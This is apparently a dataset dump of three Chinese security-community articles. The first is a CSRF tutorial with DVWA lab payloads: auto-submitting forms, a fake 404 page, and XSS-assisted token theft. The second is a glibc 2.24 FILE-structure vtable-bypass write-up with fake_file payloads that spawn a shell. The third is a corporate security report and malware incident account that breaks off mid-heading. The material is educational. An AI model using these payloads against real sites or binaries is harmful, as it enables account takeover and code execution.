text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
@[TOC](csrf漏洞浅谈)
# 前言
菜狗本人的手终于伸向了csrf漏洞攻击 **记录一下**
# csrf漏洞介绍
## 什么是csrf
csrf全称`Cross Site Request
Forgery`，翻译过来就是`跨站域请求伪造`。是一种网络攻击手段。与xss不同，xss是利用受信任的用户，而csrf则是伪装成受信任用户。而csrf不太流行，所以一般认为xss比csrf更加具有危险性。
## csrf怎样实现
用csrf可以做什么？在菜鸡我的看法就是攻击者利用被攻击者发送受站点信任的请求，从而达到自身的某些目的。
## 举个例子
假如张三在某银行存了一笔钱，某一天张三在该行的官网进行转账。假设官网ip为`http://csrfxj.com/zhuanzhang.php?name=ww&money=1000`，而官网存在csrf漏洞，且是get请求方式，此时服务器收到请求后验证cookie等，确认是本人操作，所以会进行回复，操作成功。而如果李四想要从此处进行攻击，就会构造一个payload：`http://csrfxj.com/zhuanzhang.php?name=ls&money=100000`，然后此时张三刚刚在官网进行了操作，cookie等还未过期，在李四的诱骗下点击了这个链接，后台服务器会再次响应，认为是本人操作，再次进行操作，这时就会发生，转账人`张三`，收钱人`李四`，金额`100000`。然后张三就会在不知情的时候进行了一笔稀里糊涂的转账。
## csrf漏洞攻击原理
我本来一直认为就是利用上述方式进行攻击，但是在看了大佬博客之后才知道csrf攻击分为两种方式
一、狭义的csrf攻击：指在攻击者已经将代码植入受害用户的浏览器访问的页面的前提下，以“受害用户”的身份向服务端发起一个伪造的http请求，从而实现服务器CURD来执行读写操作。
二、广义的csrf攻击：攻击者将一个http接口中需要传递的所有参数都预测出来，然后不管以什么方式，都可以来任意调用你的接口，对服务器实现CURD
## csrf攻击产生条件
一、被攻击者在登陆了web网页，并且在本地生成了cookie
二、在cookie未过期的情况下，登登录了攻击者的页面，利用同一个浏览器。
# csrf攻击的常见方式
csrf攻击一般分为GET型和POST型。
这里利用[必火团队的靶场](http://www.nanhack.com/payload/xss/csrf1.php)和本地搭建的DVWA靶场进行实验。
## GET型方式
发现转账页面，正常转账会发现账户正常减少财产。当点击了下方提供的攻击者页面时，
发现提示账户钱少了，回去查看，发现少了1000。查看攻击页面源码发现
其中的`<image src >`属性标签里的链接，和正常转账是一样的，只是名字钱财不同。这是一种实现的方式。
在上面的例子中是直接构造的payload，隐蔽性太低，正常人一眼就能看出来不正常，所以一般会进行IP的隐藏
这里介绍几种常用的IP隐藏方式：
一、利用a标签
二、利用HTML的src实现，在页面中不会进行显示
三、利用background属性里的url功能链接
## POST方式
<form name="csrf" action="http://edu.xss.tv/payload/xss/csrf2.php" method="post">
<input type="hidden" name="name" value="zhangsan520">
<input type="hidden" name="money" value="1000">
</form>
<script type="text/javascript">document.csrf.submit();</script>
<a href="http://edu.xss.tv/user.php">返回用户管理</a>
post方式一般是利用一个可以自动提交的表单进行攻击，当用户进入指定页面后会进行自动提交。达到目的。所以危害性没get方式高。
# csrf漏洞检测
那么如何检测页面是否存在csrf漏洞呢？这里用的是brupsuit进行检测。
在浏览器里进行抓包，bp有一个`CSRF POC`功能，自动生成攻击页面，在里面修改参数，提交之后发现是否有变化，若有则存在反之没有。
# csrf漏洞的防御
> CSRF的防御可以从两个方面考虑，一个是后台接口层做防御；另一个则是在前端做防御，这种不同源的请求，不可以带cookie。
## 前端防御
> 谷歌提出了same-site cookies概念，same-site cookies 是基于 Chrome 和 Mozilla
> 开发者花了三年多时间制定的 IETF
> 标准。它是在原有的Cookie中，新添加了一个SameSite属性，它标识着在非同源的请求中，是否可以带上Cookie，它可以设置为3个值，分别为：Strict、Lax、None
>
> Strict是最严格的，它完全禁止在跨站情况下，发送Cookie。只有在自己的网站内部发送请求，才会带上Cookie。不过这个规则过于严格，会影响用户的体验。比如在一个网站中有一个链接，这个链接连接到了GitHub上，由于SameSite设置为Strict，跳转到GitHub后，GitHub总是未登录状态。
> Lax的规则稍稍放宽了些，大部分跨站的请求也不会带上Cookie，但是一些导航的Get请求会带上Cookie，如下：
>
>
>
> None就是关闭SameSite属性，所有的情况下都发送Cookie。不过SameSite设置None，还要同时设置Cookie的Secure属性，否则是不生效的。
以上引用来自云栖社区一篇[很详细的博客](https://yq.aliyun.com/articles/738512) 如有侵权，联系删除。
因为我懒，所以就不自己总结了（坚持白嫖）。
## 后端防御
> 第一种，CSRF Token的方式。这种方式是在表单页面生成一个随机数，这个随机数一定要后端生成，并且对这个随机数进行存储。
>
> 通过请求头中的referer字段判断请求的来源。每一个发送给后端的请求，在请求头中都会包含一个referer字段，这个字段标识着请求的来源。如果请求是从银行网站发出的，这个字段会是银行网站转账页的链接，比如：<https://www.a-bank.com/transfer-> view；如果是从恶意网站发出的，那么referer字段一定不会是银行网站>
# DVWA靶场练习csrf攻击
## low难度
所谓low难度就是明显的没有难度。
拿到手之后直接url修改参数就实现了。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
查看low难度的源码，首先进行判断两个新密码输入的值是否一样，若一样调用`mysql_real_escape_string()`函数来进行对字符串的过滤操作，然后调用`MD5`对new_password进行加密，保存到数据库中。`mysql_real_escape_string()`函数由于对字符串进行了过滤操作，所以有效的防止了sql注入操作，但是并没有对于csrf进行防御操作。因此可以进行csrf攻击。
正常的修改密码payload：`http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#`
直接对payload进行修改：`http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#`
在上述操作中，密码就会由修改的password变为root。
但是这样子用户一眼就能知道自己的密码被修改了，而且这个链接一般人肯定不会随便点的。所以接下来据要进行对这个链接的格式修改。
### 使用短链接进行格式修改
[地址在这](http://tool.chinaz.com/tools/dwz.aspx)
### 构造攻击页面
在实际攻击中，攻击者可以利用自己构造的一个虚假页面让被攻击者点击来实现攻击操作。
<!DOCTYPE html>
<html>
<head>
<title>404</title>
</head>
<body>
<h1>Not Found</h1>
<image src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#" />
<p>The requested URL was not found on this server.</p>
</body>
</html>
当被攻击者访问这个页面时，会出现假的404错误，被攻击者会认为自己进入了一个无效的网站，但实际上攻击已经产生了。
## medium难度
首先查看源码，发现比low多了一个判断
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
也就是说，Medium级的代码检查了保留变量
HTTP_REFERER(http包头的Referer参数的值，表示来源地址）中是否包含SERVER_NAME这一个方法来抵御csrf攻击，但是这种方式只需要将刚才那个页面名字修改为本地IP地址就可。
这里看到预期修改为password，点击页面后，回到原来页面，测试发现密码修改成功。
## high难度
查看源码
发现比起medium多了一个
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
很明显high级的难度在防御机制中加入了token元素。即`用户每次访问改密页面时，服务器会返回一个随机的token。向服务器发起请求时，需要提交token参数。而服务器在收到请求时，会优先检查token，只有token正确，才会处理客户端的请求。`
看了大佬博客之后发现可以构造一个攻击页面，将其放置在攻击者的服务器，引诱受害者访问，从而完成 CSRF 攻击。
alert(document.cookie);
var theUrl = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/?user_token='+token+'&password_new=password&password_conf=password&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
将其放在攻击者的网络上，我由于是本地实验，所以放在了`http://127.0.0.1/xss.js`，然后心细的人发现了，这个应该是xss攻击吧？没错，看大佬博客使用的就是xss和csrf相结合的方法实现攻击的。
然后构造payload：`http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English
#<script src="http://www.127.0.0.1.com/xss.js"></script>`
然后诱导被攻击者点击这个链接实现攻击操作。
但是自身实践出现错误，百度发现，现在的浏览器不允许跨域访问，所以求教了大师傅之后，发现了另一个方法，bp抓包，修改参数。看了团队内的大佬博客之后，知道可以利用`<iframe
src="../csrf"
onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>`来实现token获取。
在DVWA的xss页面，进行抓包
修改参数
之后进行放包。得到浏览器页面
在这里修改密码
然后构造一个自动点击的页面
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form method="GET" action="http://127.0.0.1/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type='hidden' name='user_token' value="8c662c2b09db59c12c190ffd8ec23a00">
<input type="hidden" name="Change" value="Change" id="onlick">
</form>
</body>
<script type="text/javascript">
document.getElementById("onclick").click();
</script>
</html>
然后诱导用户点击，
修改成功。
# 后记
对于impossible难度暂时没有打算尝试，毕竟high难度还有点一知半解，等后期更加深入了解了之后再回来补充。 | 社区文章 |
### 前言
前面几篇文章说道，`glibc 2.24` 对 `vtable` 做了检测，导致我们不能通过伪造 `vtable` 来执行代码。今天逛 `twitter`
时看到了一篇通过绕过 对`vtable` 的检测 来执行代码的文章，本文学习一下，后来又根据文中的参考链接，找到了另外一种类似的方法，本文做个分享。
文中涉及的代码，libc, 二进制文件。
https://gitee.com/hac425/blog_data/blob/master/pwn_file/file_struct_part4.rar
### 正文
首先还是编译一个有调试符号的 `glibc` 来辅助分析。
源码下载链接
http://mirrors.ustc.edu.cn/gnu/libc/glibc-2.24.tar.bz2
可以参考
http://blog.csdn.net/mycwq/article/details/38557997
新建一个目录用于存放编译文件，进入该文件夹(这里为`glibc_224` )，执行 `configure` 配置
mkdir glibc_224
cd glibc_224/
../glibc-2.24/configure --prefix=/home/haclh/workplace/glibc_224 --disable-werror --enable-debug=yes
然后 `make -j8 && make install`, 即可在 `/home/haclh/workplace/glibc_224` 找到编译好的
`libc`
对 `vtable` 进行校验的函数是 `IO_validate_vtable`
就是保证 `vtable` 要在 `__stop___libc_IO_vtables` 和 `__start___libc_IO_vtables` 之间。
绕过的方法是在 `__stop___libc_IO_vtables` 和 `__start___libc_IO_vtables`
之间找到可以利用的东西，下面介绍两种。
前提：可以伪造 `FILE` 机构体
测试代码 ( [来源](https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/) )
/* gcc vuln.c -o vuln */
#include <stdio.h>
#include <unistd.h>
char fake_file[0x200];
int main() {
FILE *fp;
puts("Leaking libc address of stdout:");
printf("%p\n", stdout); // Emulating libc leak
puts("Enter fake file structure");
read(0, fake_file, 0x200);
fp = (FILE *)&fake_file;
fclose(fp);
return 0;
}
首先 `printf("%p\n", stdout)` 用来泄露 `libc` 地址，然后使用 `read` 读入数据用来伪造 `FILE` 结构体，
最后调用 `fclose(fp)`.
**利用__IO_str_overflow**
`__IO_str_overflow`是 `_IO_str_jumps` 的一个函数指针.
`_IO_str_jumps` 就位于 `__stop___libc_IO_vtables` 和 `__start___libc_IO_vtables`
之间 所以我们是可以通过 `IO_validate_vtable` 的检测的。
具体怎么拿 `shell` 还得看看 `__IO_str_overflow` 的
[源代码](https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow),
这里我就用 `ida` 看了（清楚一些）
首先是对 `fp->_flag` 做了一些判断
将 `fp->_flag` 设为 `0x0`, 就不会进入。接下来的才是重点
可以看到 如果 设置
fp->_IO_write_ptr - fp->_IO_write_base > fp->_IO_buf_end - fp->_IO_buf_base
我们就能进入 `(fp[1]._IO_read_ptr)(2 * size + 100)`, 回到汇编看看。
执行 `call qword ptr [fp+0E0h]`， `fp+0E0h` 使我们控制的，于是可以控制 `rip`, 此时的参数为 `2 * size
+ 100`, 而 `size = fp->_IO_buf_end - fp->_IO_buf_base` 所以此次 `call` 的参数也是可以控制的。
利用思路就很简单了
* 设置 `fp+0xe0` 为 `system`
* 设置 `fp->_IO_buf_end` 和 `fp->_IO_buf_base`, 使得 `2 * size + 100` 为 `/bin/sh` 的地址， 执行 `system("/bin/sh")` 获取 `shell`。
比如`fp->_IO_buf_base=0` 和 `fp->_IO_buf_end=(sh-100)/2`。
fake_file += p64(0x0) # buf_base
fake_file += p64((sh-100)/2) # buf_end
当执行 `fclose` 是会 调用 `_IO_FINISH (fp)`
其实就是 `fp->vtable->__finish`
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
执行 `_IO_FINISH (fp)` 之前还对 锁进行了获取， 所以我们需要设置 `fp->_lock` 的值为一个 指向 `0x0`
的值（`*ptr=0x0000000000000000`），所以最终的 `file` 结构体的内容为
fake_file = p64(0x0) # flag
fake_file += p64(0x0) # read_ptr
fake_file += p64(0x0) # read_end
fake_file += p64(0x0) # read_base
fake_file += p64(0x0) # write_base
fake_file += p64(sh) # write_ptr - write_base > buf_end - buf_base, bypass check
fake_file += p64(0x0) # write_end
fake_file += p64(0x0) # buf_base
fake_file += p64((sh-100)/2) # buf_end
fake_file += "\x00" * (0x88 - len(fake_file)) # padding for _lock
fake_file += p64(0x00601273) # ptr-->0x0 , for bypass get lock
# p _IO_str_jumps
fake_file += "\x00" * (0xd8 - len(fake_file)) # padding for vtable
fake_file += p64(_IO_jump_t + 0x8) # make __IO_str_overflow on __finish , which call by fclose
fake_file += "\x00" * (0xe0 - len(fake_file)) # padding for vtable
fake_file += p64(system) # ((_IO_strfile *) fp)->_s._allocate_buffer
有一个小细节,我把 `vtable` 设置为了 `p64(_IO_jump_t + 0x8)`,原因在于 一个正常的 `FILE` 结构体的
`vtable` 的结构为
`_finish` 在第三个字段
`__IO_str_overflow`是 `_IO_str_jumps` 的第4个字段.
`vtable` 设置为 `p64(_IO_jump_t + 0x8)` 后， `vtable->_finish` 为
`__IO_str_overflow` 的地址了。
在调用 `fclose` 处下个断点，断下来后打印第一个参数
可以看到
* `_flags` 域 为 0
* `2*(buf_end - buf_base) + 100` 指向 `/bin/sh`
* `_lock` 指向 `0x0`
* 虚表的第三个表项（`vtable->_finish`）为 `__IO_str_overflow` 的地址
* `$rdi+0xe0` 为 `system` 的地址(rdi即为 fp)
这样在执行 `fclose` 时就会进入 `__IO_str_overflow` ，然后进入 `call qword ptr [fp+0E0h]` 执行
`system("/bin/sh")` 拿到 `shell`
**利用 _IO_wstr_finish**
`_IO_wstr_finish` 位于 `_IO_wstr_jumps` 里面
可以看到 `_IO_wstr_jumps` 也是位于 位于 `__stop___libc_IO_vtables` 和
`__start___libc_IO_vtables` 之间的。
`_IO_wstr_finish` 的 `check` 比较简单
当 `fp->_wide_data->_IO_buf_base` 不为0， 而且 `v2->_flags2` 就可以劫持 `rip`
了，看汇编代码会清晰不少
只需要在 `fp+0xa0` 处放置一个指针 `ptr` , 使得 `ptr+0x30` 处的 值不为 0 即可。（这个值随便找就行），然后 设置
`fp+0x74` 的值为 `0`， 最后设置 `fp+0xe8` 的值为 `one_shot` ，在执行 `fclose()`时就会去执行
`one_shot` 拿到 `shell`
伪造 `file` 结构体的代码
fake_file = p64(0x0) # flag
fake_file += p64(0x0) # read_ptr
fake_file += p64(0x0) # read_end
fake_file += p64(0x0) # read_base
fake_file += p64(0x0) # write_base
fake_file += p64(sh) # write_ptr - write_base > buf_end - buf_base, bypass check
fake_file += p64(0x0) # write_end
fake_file += p64(0x0) # buf_base
fake_file += p64((sh-100)/2) # buf_end
fake_file += "\x00" * (0x88 - len(fake_file)) # padding for _lock
fake_file += p64(0x00601273) # ptr-->0x0 , for bypass get lock
fake_file += "\x00" * (0xa0 - len(fake_file))
fake_file += p64(0x601030) # _wide_data
# p &_IO_wstr_jumps
fake_file += "\x00" * (0xd8 - len(fake_file)) # padding for vtable
fake_file += p64(_IO_wstr_jumps)
fake_file += "\x00" * (0xe8 - len(fake_file)) # padding for vtable
fake_file += p64(one_shot) # rip
### 最后
ida看代码比较清楚，文中的两种方法挺不错，利用了其他的 `vtable` 中的有趣的函数来绕过 `check`
**参考**
<https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/>
<http://blog.rh0gue.com/2017-12-31-34c3ctf-300/> | 社区文章 |
# 某大型集团企业信息安全实践总结暨信息安全应急案例分享
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 第一部分、概述
某大型房产公司，业务遍布港澳及内地70余个城市及海外多个国家和地区。
该企业自2017年以来，将加快信息化建设步伐进行数字化转型当作重要战略举措，逐步加大信息化预算，实现数据智联、创新赋能，支撑管理变革、引领业务创新。
信息安全是企业数字化转型过程中不可避免或忽视的问题,决定企业数字化成败的关键。在这个过程中，数据成为企业非常重要的资产，信息安全对于企业发展有不可估量的影响，企业的安全体系的构建是一个动态、长期的过程，难以一蹴而就。如何从战略层面、治理层面、执行层面上，全面、积极、有效地应对安全风险的同时，将风险转化为机遇，推进数字化转型的持续性发展，可谓任重而道远。为了达到目的，该公司快速组建了信息安全团队，在数字化转型的过程中，不遗余力地推进了信息安全的建设。
经过近三年的建设，该企业已经找到了适合自己的信息安全建设之路，以《网络安全法》的实施为契机，顺应等级保护标准要求，加强全方位主动防御、整体防控，实现对等保护对象的安全全覆盖，从事后补救到安全前置，从局部分割到全面防护，从被动安全到主动安全的转变，构筑主动、全面的安全防护体系，为数字化转型保驾护航，这就是某大型房产公司数字化转型之后交出的信息安全答卷。
在具体建设步骤方面,从聚焦核心数据保护诉求出发，在信息化战略规划层面将信息安全建设分为筑围墙、坚堡垒、精管控三个阶段逐步推进，首先按照等级保护要求，进行了核心系统的等级保护测评工作，2018年顺利完成测评整改，取得了测评证书，2019年更是启动了云平台的三级等保测评工作；在基础架构安全建设方面，上线网络流量回溯分析系统、WEB应用防火墙、运维审计堡垒机等，迅速在总部形成了护城河，公司整体的安全防御能力得到大大提升。
针对员工信息安全意识薄弱问题，开展了长期的信息安全宣贯，通过OA内网、移动门户APP等多种方式推送安全小知识以及公司安全制度等，连续三年开展了“网络安全周”宣传活动，通过线上、线下跨平台、全方位的宣传，使得信息安全理念深入人心，在公司上下初步形成了“信息安全、人人有责”的文化氛围，全面提升了员工的信息安全意识。
在信息化高速发展的同时，黑产也在不断进化，高级恶意代码以快速变种、多样化和动态交互的形式不断演化，虽然该企业已经建设了较为完善的纵深防御体系，但是面临的风险和威胁依然众多，包括如下：
1、安全攻防能力极度不对等，如恶意代码，和传统病毒相比，变种更多、更新更快，传统检测方式更难发现；同时黑客攻击更多的具备“海陆空”（不同攻击载荷、攻击方式、攻击维度）、全天候、全方位打击的特点，依靠单一的安全产品品或边界防护往往无法满足企业安全需求；
2、地区公司防护薄弱，地区公司通过MPLS-VPN专线与总部进行互联，同时各地区公司也有自己的互联网出口进行上网，这样带来了诸多的风险；由于安全预算、人力的限制，地区公司没有专职的安全团队，往往很难进行高效的风险防范；
3、内网平坦化问题：目前该企业内网连接着60多家地区公司，同时还与集团公司内部兄弟公司等通过MPLS
VPN进行连接，各公司安全建设水平参差不齐，更多的是注重网络侧的边界防御，而内部跨区防护，往往被选择性忽视。在实际攻防场景中，再“高”再“厚”的墙也终将被绕过。一旦攻击者突破某个地区公司边界取得初步权限，内部安全能力的真空很容易导致集体沦陷，攻击者进入内网之后横向渗透，往往一马平川，无往不利；
4、单点安全能力永远存在漏报和误报的问题。即使当前攻击被阻断，道高一尺魔高一丈，攻击者经过一段时间的研究，也有可能绕过防护。而安全设备和业务系统兼容是一个长期的磨合过程，必然会导致出现无效告警，而真正有效的告警，往往被淹没其中。
## 第二部分、该企业信息安全建设思路
为有效应对目前面临的问题和满足安全迫切需求，我们需要利用基于大数据机器学习技术对已知威胁进行模式挖掘，然后通过专家分析，提取恶意行为并输出安全能力，具备威胁情报检测、网络异常检测、入侵检测、主机行为检测等多种安全能力，从“端、边界、云”的空间维度上以及
“预警、监测、分析、清除”的时间维度上实现安全防护的闭环管理，真正做到 “全面防御、主动预警、安全运营，全天候、全方位感知网络安全态势”。
为了达到这个目标，我们制订了企业信息安全宙斯盾计划，从如下几个方面进行了安全建设，包括：
攻防侧：收敛攻击面，具备有效防护各类已知攻击的能力；
网络侧：具备覆盖全部网络协议栈的分析、检测和分析回溯能力，能够覆盖全部边界和MPLS VPN互联的链路；
主机侧：以业务主机（服务器）为安全防御重点，构建最后一公里防线，快速搭建自适应防御体系；
终端侧：建立终端安全防御体系，同时通过检测网络流量中的DGA域名，定位网络内部已经被控的主机。
安全域划分：基于零信任网络原则，进行层次化划分，尤其是对内网互联的网络进行有效隔离，防止堡垒从内部被突破，打造不被绕过的马奇诺防线。
## 第三部分、该企业信息安全建设具体成果
在我们近三年的安全建设成果来说，基本行动计划包括如下：
（1）坚壁清野步步为营
面对上面所面临的风险，在总部数据中心层面，通过开展敏感信息清理、网络资产摸底清理、收敛网络攻击暴露面、安全风险排查整改、重点目标防御等专项工作，同时配合常态化的漏洞扫描工作，逐步整改安全漏洞，淘汰下线不安全业务系统；对安全设备策略进行有效收紧，形成了漏洞收敛、防护有效、保障有力的安全局面。
目前公司总部对外互联网IP
150+个，互联网带宽150Mbps，业务系统60+个，累计一年防御DDOS攻击252万余次，拦截网络层攻击2160万次，拦截应用层攻击72万余次；
（2）诱敌深入层层设防
为了解决内网攻击以及未知威胁问题，公司总部上线了开源的蜜罐系统T-Pot,恶意代码和行为检测作为抵御黑客和网络犯罪分子防御的第一道防线。它主要应用特征库和行为的辨别技术，不可避免的带来误报和漏报的问题。蜜罐系统则有效的避免了这个问题，通过构建伪装的业务主动引诱攻击者，在预设的环境中对入侵行为进行检测、分析，还原攻击者的攻击途径、方法、过程等，并将获取的信息用于保护真实的系统；
通过蜜罐系统，利用欺骗防御技术，经过精密设计，在恶意黑客必经之路上布置诱饵节点，混淆其攻击目标，从而隔离并保护企业真实资产，拖延黑客攻击时间。
蜜罐系统能够高精度、准确无误地发现潜在威胁，捕获威胁后将在第一时间报警，速度优于传统安全防护手段，用蜜罐获取到攻击者信息，比如攻击者的
IP，就可以通过防火墙及WAF设备对攻击来源进行封堵。
该企业部署蜜罐系统以来，全年捕获各种攻击40万+次，攻击IP 2800+个，与防火墙、WAF等形成良好互补。
图：蜜罐捕获到的暴力破解用户名和密码
（3）内网隔离纵深防御
针对内网平坦化问题，我们通过进行安全域划分方式，对内网进行了初步隔离，对来自地区公司和兄弟公司的互联请求不再采取默认放行规则，而是基于零信任网络原则，进行层次化划分，防止病毒木马纵向感染横向传播。
通过子公司网络规范,落实子公司边界安全防护体系，各地区分公司互联网出口处部署了防火墙，终端层面部署了防病毒软件，完成全公司4000+终端防病毒软件部署；同时定期推进专项巡检工作，对地区公司进行终端安全扫描，对发现的存在高危漏洞的终端进行督促整改；日常工作中，对地区公司发现感染僵尸、木马、蠕虫的终端进行及时通报整改。
根据部署在边界、终端、云网络、专线网络的各种安全设备的特点，有的放矢设计对应的检测手段，扬长补短，充分发挥数据联动分析的作用，建立了较为完善的纵深防御体系，形成了横向到边、纵向到底的立体防御框架并切实落地，达到较好效果。
（4）万物皆明精确感知
再高级的攻击，都会留下网络痕迹，因此，进行网络全流量分析是精确感知安全的一个非常好用的手段，全流量威胁分析回溯系统能够快速检测各类重点事件，如APT攻击事件、Botnet事件、恶意样本传播、WebShell、隐蔽隧道等高危安全事件。以流量行为为例，正常网络层的连接行为是松散的、随机分布的，如下图：
而异常连接的情况下，比如终端感染木马并成为僵尸主机之后将对同网段和外网进行扫描攻击，其连接行为将会如下：
通过如上规则，在流量分析回溯系统上可以很好的进行预警，及时定位网络内部已经被控的主机。
同时，流量分析回溯系统可以很好的进行C&C服务器访问监控（Command & Control
Server，是指挥控制僵尸网络的主控服务器）。每个木马实例通过和它的C&C服务器通讯获得指令进行攻击活动，包括获取攻击开始的时间和目标，上传从宿主机偷窃的到的信息，定时给感染机文件加密勒索等。
通过引入外部威胁情报，与自身流量分析回溯系统有机结合，很好的解决了分支机构的僵尸网络问题。目前，我们已经成熟应用基于域名、IP地址、样本特征等进行失陷检测，将远控或者恶意下载的各类IP、域名和URL进行一键拦截和预警，同时可将失陷主机与外网通信、在内网进行传播扩散与渗透、最终达成攻击目标的全过程完整绘制出来。
（5）情报驱动安全联动
在网络安全体系的建设过程中，是一个由点到面的过程，上线过程中不同厂家不同品牌的安全设备会不可避免的处于分散状态，而不是天然的具备联动机制；而单点安全能力永远存在漏报和误报的问题；我们在三年的安全建设和安全运营过程中，也发现了这个问题，往往需要投入大量人力进行各种设备的策略调优，如攻击者突破了防火墙和WAF设备的第一道防线后，虽然被流量分析系统和蜜罐发现，但是往往需要安全管理员手工处理告警，来进行IP拦截，时效性无法得到保证，安全源于联动，各自为营．怎能协同工作?
为了解决这个问题，我们宙斯盾计划的核心就是通过威胁情报建立各安全设备的联动机制，实现安全协同、全网联动。
在这个建设过程中，我们引入互联网大情报体系，对情报信息进行强度整合、高度共享、深度运用；同时结合防火墙、WAF、流量分析系统、态势感知、蜜罐等集中告警日志处理，借助技术中台，建立小情报体系（私有云），这个私有情报系统，我们也称之为安全中台雏形，既能够实时调用防火墙、WAF接口进行联动处理，也能够对外提供给集团各兄弟公司使用，极大程度上缩减了安全事件的处理时间，能够以最高效的方式解决安全问题。
通过这样的安全设备联动管理，能够保证系统内的安全设备协同工作,提高安全事件的检测精度和处理效率,从而应对日趋复杂多变的网络安全威胁。
（6）应急响应全网协防
我们进一步健全完善了网络安全事件监测发现、通报预警、应急处置一体化机制；在安全运营过程中，监测只是第一步，后续还有处置、溯源、修复、优化等一系列过程，对需要对待处理事件区分优先级，形成小时级、日级、周级、月级处理机制，让重要事件得到及时解决。
对于实时发生的失陷事件，不断恶化的安全事件，我们将全网预警，提高应急响应级别，及时将信息安全事件扼杀在萌芽状态。
对于漏洞扫描、基线核查、安全更新等工作，我们已经形成周期性任务执行，按季度进行常规化跟踪、处理。
同时我们推行各种专项行动，如密码安全专项检视计划、全网终端安全扫描行动、渗透测试、安全演练等，及时掌握和解决影响网络安全运行方面出现或存在的有关问题，提升安全防护水平。
下面，通过一个典型的信息安全案例，来介绍该企业信息安全建设成果及相关经验总结，这个实战案例，既是对过往安全建设的成果检验，也为后续的安全体系建设提供了宝贵的经验。
## 第四部分、真实信息安全应急事件案例分享
12月2号凌晨，分支机构上海公司将一台文件共享服务器的远程桌面端口违规暴露在公网，被攻破之后导致当地大量终端感染变种木马，并在网络内部大量扩散攻击行为（累计感染50多台，占比近50%），总部通过流量分析系统及威胁情报服务、蜜罐服务进行了第一时间预警，在防火墙和防病毒软件未能够彻底防御此变种木马的情况下，经过2天的应急响应，已基本完成终端的查杀和加固，未对集团内网造成较大影响。
本次案例中，总部通过流量分析系统及威胁情报服务，第一时间发现了上海公司终端的DNS域名异常访问行为并预警（木马通过C&C服务器地址通讯获取远程控制命令），部署的蜜罐服务发现了上海公司中毒终端对总部数据中心的横向渗透攻击，并捕获了其攻击手法（木马综合利用MS17-010永恒之蓝漏洞攻击、SMB爆破攻击、sql爆破攻击等功能,并在攻击成功的目标机器上安装计划任务执行多个Powershell后门,下载执行新的攻击模块）；由于总部防火墙的安全域划分有效，策略有效收紧，内网未出现部分终端中毒后一马平川的攻击局面，其余地区公司大部分也在前期的专项行动中进行了加固，未造成大规模横向渗透。
经过本次实战检验，验证了该企业纵深防御体系和监控应急预警体系的有效性。通过对该事件的总结和反思，形成信息安全可借鉴的经验和教训，有利于大家共同提升安全水平。
* 病毒名：驱动人生新变种
* 感染方式：该病毒通过“永恒之蓝”漏洞扫描445端口传播，通过暴力破解传播密码方式传播，通过RDP远程桌面3389端口漏洞传播，通过扫描Sql Server数据库方式传播；
* 后果影响：感染内网之后，将进行横向渗透扫描，并在每个感染终端上增加计划任务，每个小时从后台接受指令，下载攻击木马，同时进行挖矿行为，不排除进行文件勒索比特币等行为；
* 处置：总部监控发现之后提升预警级别，并要求上海公司断网，升级杀毒软件版本，地毯式对终端进行查杀，3号晚上完成网内病毒传播抑制。
* 后续总结：上海公司防火墙维护不及时，策略未收紧，且将重要的文件共享服务器（10.164.1.8）的远程桌面端口暴露在公网；内网终端补丁更新不及时，未按照总部要求进行MS17-010漏洞及MS19-0708漏洞的彻底整改；PC存在弱口令，员工安全意识不高，均给病毒横向渗透造成较大便利。
## 第五部分、安全事件处置及朔源过程
### 1\. 事件时间轴
